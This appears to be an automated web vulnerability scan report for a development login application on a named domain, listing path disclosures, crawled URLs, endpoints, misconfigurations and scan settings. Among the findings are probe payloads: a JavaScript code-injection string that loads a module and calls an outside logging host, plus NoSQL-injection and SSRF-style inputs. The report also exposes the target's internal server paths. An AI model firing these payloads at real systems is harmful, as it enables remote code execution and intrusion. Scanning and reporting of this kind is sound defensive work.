https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	Query: id=this.constructor.constructor('return this.process')().mainModule.require('https').get('https://invalid-domain/l/hbc87189Rg/?id=17837501774635011153'.replace('invalid-domain','ptt-logger.net'),{headers:{'...	Operating system paths found in the HTTP response: <pre> /var/www/html/vendor/barryvdh/laravel-debugbar/src/Controllers/OpenHandlerController.php(15) /var/www/html/vendor/fideloper/proxy/src/TrustProxies.php(57) /var/www/html/vendor/fruitcake/laravel-cors/src/HandleCors.php(38) /var/www/html/vendor/barryvdh/laravel-debugbar/src/Middleware/DebugbarEnabled.php(41) /var/www/html/s /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(723) /var/www/html/storage/debugbar /var/www/html/vendor/maximebf/debugbar/src/DebugBar/OpenHandler.php(106) /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(662) /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(167) /var/www/html/vendor/barryvdh/laravel-debugbar/src/Storage/FilesystemStorage.php(84) /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(721) /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(262) /var/www/html/vendor/maximebf/debugbar/src/DebugBar/OpenHandler.php(61) /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(111) /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ValidatePostSize.php(27) /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21) /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(698) /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(205) /var/www/html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(149) </pre>

https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	Query: id[\$ptt]=Xe1b63843ccb4e5f85bf6bbcf8063b9b1 op=get Headers: Referer=https://dev-app-brisurf.brins.co.id/login User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36	Operating system paths found in the HTTP response: <pre> /var/www/html/vendor/barryvdh/laravel- debugbar/src/Controllers/OpenHandlerController.php(15 /var/www/html/vendor/barryvdh/laravel- debugbar/src/Storage/FileSystemStorage.php /var/www/html/vendor/fideloper/proxy/src/TrustProxies.php(57 /var/www/html/vendor/fruitcake/laravel- cors/src/HandleCors.php(38 /var/www/html/vendor/barryvdh/laravel- debugbar/src/Middleware/DebugbarEnabled.php(41 /var/www/html/v /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(723 /var/www/html/vendor/maximebf/debugbar/src/DebugBar/OpenHandler.php(106 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(662 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(167 /var/www/html/vendor/barryvdh/laravel- debugbar/src/Storage/FileSystemStorage.php(84 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(721 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(262 /var/www/html/vendor/maximebf/debugbar/src/DebugBar/OpenHandler.php(61 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(111 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ValidatePostSize.php(27 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(205 /var/www/html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(149 /var/www/html/vendor/barryvdh/laravel- debugbar/src/Storage/FileSystemStorage.php(62 </pre>
---	-----	---	--

https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	Query: max=20 offset=https://ptt-logger.net/l/hbc87189Rg/?id=14417409903675422600 Headers: Origin=http://example.com Referer=http://example.com User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36	Operating system paths found in the HTTP response: <pre> /var/www/html/vendor/barryvdh/laravel- debugbar/src/Controllers/OpenHandlerController.php(15 /var/www/html/vendor/barryvdh/laravel- debugbar/src/Storage/FileSystemStorage.php /var/www/html/vendor/fideloper/proxy/src/TrustProxies.php(57 /var/www/html/vendor/fruitcake/laravel- cors/src/HandleCors.php(38 /var/www/html/vendor/barryvdh/laravel- debugbar/src/Middleware/DebugbarEnabled.php(41 /var/www/html/v /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(723 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(662 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(167 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(721 /var/www/html/vendor/maximebf/debugbar/src/DebugBar/OpenHandler.php(92 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(262 /var/www/html/vendor/maximebf/debugbar/src/DebugBar/OpenHandler.php(61 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(111 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ValidatePostSize.php(27 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(205 /var/www/html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(149 /var/www/html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(128 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54 </pre>
---	-----	---	---

https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	Query: max=20 offset[\$ptt]=0 Headers: Referer=https://dev-app-brisurf.brins.co.id/login User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36	Operating system paths found in the HTTP response: <pre> /var/www/html/vendor/barryvdh/laravel-debugbar/src/Controllers/OpenHandlerController.php(15) /var/www/html/vendor/barryvdh/laravel-debugbar/src/Storage/FileSystemStorage.php /var/www/html/vendor/fideloper/proxy/src/TrustProxies.php(57) /var/www/html/vendor/fruitcake/laravel-cors/src/HandleCors.php(38) /var/www/html/vendor/barryvdh/laravel-debugbar/src/Middleware/DebugbarEnabled.php(41) /var/www/html/v /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(723) /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(662) /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(167) /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(721) /var/www/html/vendor/maximebf/debugbar/src/DebugBar/OpenHandler.php(92) /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(262) /var/www/html/vendor/maximebf/debugbar/src/DebugBar/OpenHandler.php(61) /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(111) /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ValidatePostSize.php(27) /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21) /var/www/html/vendor/barryvdh/laravel-debugbar/src/Storage/FileSystemStorage.php(115) /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(205) /var/www/html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(149) /var/www/html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(128) </pre>
---	-----	---	--

https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	Query: max[\$ptt]=20 offset=0 Headers: Referer=https://dev-app-brisurf.brins.co.id/login User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36	Operating system paths found in the HTTP response: <pre> /var/www/html/vendor/barryvdh/laravel- debugbar/src/Controllers/OpenHandlerController.php(15 /var/www/html/vendor/barryvdh/laravel- debugbar/src/Storage/FilesystemStorage.php /var/www/html/vendor/fideloper/proxy/src/TrustProxies.php(57 /var/www/html/vendor/fruitcake/laravel- cors/src/HandleCors.php(38 /var/www/html/vendor/barryvdh/laravel- debugbar/src/Middleware/DebugbarEnabled.php(41 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(723 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(662 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(167 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(721 /var/www/html/vendor/maximebf/debugbar/src/DebugBar/OpenHandler.php(92 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(262 /var/www/html/vendor/maximebf/debugbar/src/DebugBar/OpenHandler.php(61 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(111 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ValidatePostSize.php(27 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(205 /var/www/html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(149 /var/www/html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(128 /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54 /var/www/html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167 </pre>
---	-----	---	---

https://dev-app-brisurf.brins.co.id/login	GET	Headers: User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36	Operating system paths found in the HTTP response: /usr/sbin /usr/local/etc/php /usr/local/bin /var/www/html/app/Http/Controllers/LoginController.php&line /home/www /var/www/html /var/www/html/index.php /usr/bin /usr/local/sbin Request / Response
https://dev-app-brisurf.brins.co.id/login/submit	POST	Body: captcha= password= username= Headers: Content-Type=application/x-www-form-urlencoded; charset=UTF-8 Origin=https://dev-app-brisurf.brins.co.id Referer=https://dev-app-brisurf.brins.co.id/login User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like...)	Operating system paths found in the HTTP response: /var/www/html/vendor/fideloper /proxy/src/TrustProxies.php /var/www/html/vendor/barryvdh/laravel- debugbar/src/Middleware/InjectDebugger.php /var/www/html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php /var/www/html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Router.php /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Exceptions/Handler.php /var/www/html/vendor/laravel/framework/src/Illuminate/Routing/Pipeline.php /var/www/html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ValidatePostSize.php /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php /var/www/html/index.php /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php /var/www/html/vendor/fruitcake/laravel-cors/src/HandleCors.php /var/www/html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php /var/www/html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php Request / Response

▼ Details

Risk description:

The risk is that path disclosure may help an attacker learn more about the remote server's file system, thus increasing the effectiveness and precision of any future attacks.

Recommendation:

Configure the web server to avoid leaking path information by using generic error messages that do not reveal any internal file paths. Make sure no server file is referred with its absolute path in the website code.

References:

<https://cwe.mitre.org/data/definitions/200.html>

Spider Results

UNCONFIRMED ⓘ

URL	Method	Parameters	Page Title	Page Size	Status Code
https://dev-app-brisurf.brins.co.id/home	GET		Login BRISURF BRINS	108.15 KB	200
https://dev-app-brisurf.brins.co.id/_debugbar/	GET		BRISURF BRINS APPLICATION	14.54 KB	200
https://dev-app-brisurf.brins.co.id/_debugbar/assets/javascript	GET	Query: v=1712173166		263.52 KB	200
https://dev-app-brisurf.brins.co.id/_debugbar/assets/stylesheets	GET	Query: theme=auto v=1712173166		242.21 KB	200
https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	Query: id=Xe1b63843ccb4e5f85bf6bbcf8063b9b1 op=get		34.29 KB	200
https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	Query: max=20 offset=0		3.63 KB	404
https://dev-app-brisurf.brins.co.id/captcha	GET		captcha (120×36)	419 B	200
https://dev-app-brisurf.brins.co.id/captcha/default	GET	Query: 4CK4qBad=	default (120×36)	437 B	200
https://dev-app-brisurf.brins.co.id/captcha/default	GET	Query: 7BYeMerx=	default (120×36)	437 B	200
https://dev-app-brisurf.brins.co.id/captcha/default	GET	Query: RgcNzblp=	default (120×36)	437 B	200
https://dev-app-brisurf.brins.co.id/captcha/default	GET	Query: gM4rbpQA=	default (120×36)	437 B	200
https://dev-app-brisurf.brins.co.id/captcha/default	GET	Query: hN3AfH6W=	default (120×36)	437 B	200
https://dev-app-brisurf.brins.co.id/captcha/default	GET	Query: njoQ3LCv=	default (120×36)	437 B	200
https://dev-app-brisurf.brins.co.id/captcha/default	GET	Query: wmOWsovx=	default (120×36)	437 B	200
https://dev-app-brisurf.brins.co.id/login	GET		Login BRISURF BRINS	100.95 KB	200
https://dev-app-brisurf.brins.co.id/login/submit	POST	Body: captcha= password= username=		238 B	200
https://dev-app-brisurf.brins.co.id/login	GET	Query: captcha=1d3d2d231d2dd4 password=Secure123456\$ username=1d3d2d231d2dd4	Login BRISURF BRINS	115.03 KB	200
https://dev-app-brisurf.brins.co.id/login	GET	Query: ip=1d3d2d231d2dd4 method=method uri=1d3d2d231d2dd4	Login BRISURF BRINS	113.24 KB	200
https://dev-app-brisurf.brins.co.id/public/login/assets/images	GET		403 Forbidden	541 B	403

Details

Risk description:

The table contains all the unique pages the scanner found. The duplicated URLs are not available here as scanning those is considered unnecessary.

Recommendation:

We recommend to advanced users to make sure the scan properly detected most of the URLs in the application.

References:

All the URLs the scanner found, including duplicates (available for 90 days after the scan date)

API endpoints
port 443/tcp

UNCONFIRMED

URL	Method	Parameters	Evidence
https://dev-app-brisurf.brins.co.id/_debugbar/open	GET	Query: id=Xe1b63843ccb4e5f85bf6bbcf8063b9b1 op=get Headers: Referer=https://dev-app-brisurf.brins.co.id/login User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36	Possible API endpoint found at /_debugbar/open Request / Response
https://dev-app-brisurf.brins.co.id/login/submit	POST	Body: captcha= password= username= Headers: Content-Type=application/x-www-form-urlencoded; charset=UTF-8 Origin=https://dev-app-brisurf.brins.co.id Referer=https://dev-app-brisurf.brins.co.id/login User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like...	Possible API endpoint found at /login/submit Request / Response

Details

Risk description:

These endpoints may represent an attack surface for malicious actors interested in API-specific vulnerabilities.

Recommendation:

Use the API Scanner to perform a more thorough vulnerability check for these endpoints, if an API specification is present.

Classification:

OWASP Top 10 - 2025 : [A06 - Insecure Design](#)

Misconfigurations
port 443/tcp

UNCONFIRMED

URL	Page Title	Page Size	Summary
https://dev-app-brisurf.brins.co.id/login	Login BRISURF BRINS	49.17 KB	Identified cookies that lacked the samesite=strict attribute, which prevented enforcement of restrictions on cross-domain cookie transmission.
https://dev-app-brisurf.brins.co.id/login/	Login BRISURF BRINS	49.09 KB	Checks if external script and stylesheet tags in the HTML response are missing the Subresource Integrity (SRI) attribute.

Details

Risk description:

Depending on the misconfiguration present, the risk varies from information disclosure to possible execution of arbitrary code. A malicious actor can gain knowledge into the application's inner functionalities and services, obtain unauthorized access or make use of various security issues like execution of arbitrary code.

Recommendation:

We recommend you to analyze the configurations discovered, make sure the right options are set it, limit access to these resources and verify the application is not exposing information through these configurations.

Classification:

CWE : [CWE-200](#)

OWASP Top 10 - 2017 : [A6 - Security Misconfiguration](#)

OWASP Top 10 - 2021 : [A5 - Security Misconfiguration](#)

OWASP Top 10 - 2025 : [A02 - Security Misconfiguration](#)

Scan coverage information

List of tests performed (79)

Port 443

- ✓ Scanned for version-based vulnerabilities of server-side software
- ✓ Scanned for version-based vulnerabilities of server-side software
- ✓ Scanned for version-based vulnerabilities of server-side software
- ✓ Scanned for Secure flag of cookie
- ✓ Scanned for version-based vulnerabilities of server-side software
- ✓ Scanned for version-based vulnerabilities of server-side software
- ✓ Scanned for version-based vulnerabilities of server-side software
- ✓ Scanned for Insecure Direct Object Reference
- ✓ Scanned for internal error code
- ✓ Scanned for missing HTTP header - Content Security Policy
- ✓ Scanned for missing HTTP header - Referrer
- ✓ Scanned for missing HTTP header - Strict-Transport-Security
- ✓ Scanned for missing HTTP header - X-Content-Type-Options
- ✓ Scanned for passwords submitted in URLs
- ✓ Scanned for robots.txt file
- ✓ Scanned for website technologies
- ✓ Scanned for code comments
- ✓ Scanned for API endpoints
- ✓ Scanned for enabled HTTP OPTIONS method
- ✓ Scanned for Input Reflected in response body
- ✓ Scanned for login interfaces
- ✓ Scanned for misconfigurations
- ✓ Scanned for Path Disclosure
- ✓ Scanned for absence of the security.txt file
- ✓ Performed web-crawling on target
- ✓ Scanned for client access policies
- ✓ Scanned for CORS misconfiguration
- ✓ Scanned for use of untrusted certificates
- ✓ Scanned for enabled HTTP debug methods
- ✓ Scanned for administration consoles
- ✓ Scanned for information disclosure
- ✓ Scanned for software identification
- ✓ Scanned for sensitive files
- ✓ Scanned for interesting files
- ✓ Scanned for GraphQL endpoints
- ✓ Performed fuzzing for OpenAPI files
- ✓ Scanned for secure communication
- ✓ Scanned for directory listing
- ✓ Scanned for passwords submitted unencrypted
- ✓ Scanned for Cross-Site Scripting
- ✓ Scanned for SQL Injection
- ✓ Scanned for Local File Inclusion
- ✓ Scanned for OS Command Injection
- ✓ Scanned for error messages
- ✓ Scanned for debug messages
- ✓ Scanned for XML External Entity Injection
- ✓ Scanned for domain too loose set for cookies

- ✓ Scanned for mixed content between HTTP and HTTPS
- ✓ Scanned for cross domain file inclusion
- ✓ Scanned for HttpOnly flag of cookie
- ✓ Scanned for secure password submission
- ✓ Scanned for sensitive data
- ✓ Scanned for Server Side Request Forgery
- ✓ Scanned for Open Redirect
- ✓ Scanned for PHP Code Injection
- ✓ Scanned for JavaScript Code Injection
- ✓ Scanned for Ruby Code Injection
- ✓ Scanned for Python Code Injection
- ✓ Scanned for Perl Code Injection
- ✓ Scanned for Remote Code Execution through Log4j
- ✓ Scanned for Server Side Template Injection
- ✓ Scanned for Remote Code Execution through VIEWSTATE
- ✓ Scanned for Prototype Pollution
- ✓ Scanned for Exposed Backup Files
- ✓ Scanned for Request URL Override
- ✓ Scanned for CSRF
- ✓ Scanned for NoSQL Injection
- ✓ Scanned for Insecure Deserialization
- ✓ Scanned for unsafe HTTP header Content Security Policy
- ✓ Scanned for OpenAPI files
- ✓ Scanned for file upload
- ✓ Scanned for SQL statement in request parameter
- ✓ Scanned for password returned in later response
- ✓ Scanned for Session Token in URL
- ✓ Scanned for Response Header Injection
- ✓ Scanned for emails
- ✓ Scanned for missing HTTP header - Rate Limit
- ✓ Scanned for PEM-encoded private key material
- ✓ Scanned for partial PEM-encoded private key material

Scan parameters

Target:	https://dev-app-brisurf.brins.co.id/login
Scan type:	Deep
Authentication:	False
fingerprint:	True
software_vulnerabilities:	True
check_robots:	True
outdated_js:	True
untrusted_certificates:	True
client_access_policies:	True
http_debug_methods:	True
security_txt:	True
cors_misconfiguration:	True
resource_discovery:	True
sensitive_files:	True
admin_consoles:	True
interesting_files:	True
server_info_disc:	True
server_software:	True
misconfigurations:	True
graphql_endpoint:	True
fuzz_openapi_locations:	True
approach:	Auto
depth:	10
max_time:	3600
requests_per_second:	100
xss:	True
sqli:	True
lfi:	True
oscmdi:	True
ssrf:	True
open_redirect:	True
broken_authentication:	True
php_code_injection:	True
js_code_injection:	True

ruby_code_injection:	True
python_code_injection:	True
perl_code_injection:	True
log4j_rce:	True
ssti:	True
xxe:	True
viewstate_rce:	True
prototype_pollution:	True
backup_files:	True
request_url_override:	True
http_request_smuggling:	True
csrf:	True
insecure_deserialization:	True
nosqli:	True
session_fixation:	True
idor:	True
jwt:	True
response_header_injection:	True
security_headers:	True
cookie_security:	True
directory_listing:	True
secure_communication:	True
weak_password_submission:	True
error_debug_messages:	True
password_cleartext:	True
cross_domain_source:	True
mixed_content:	True
sensitive_data:	True
login_interfaces:	True
file_upload:	True
openapi_documents:	True
path_disclosure:	True
sql_statement_in_request:	True
password_in_response:	True
session_token_in_url:	True
api_endpoint:	True

Scan stats

Unique Injection Points Detected:	117
URLs spidered:	120
Total number of HTTP requests:	17390
Average time until a response was received:	300ms
Total number of HTTP request errors:	276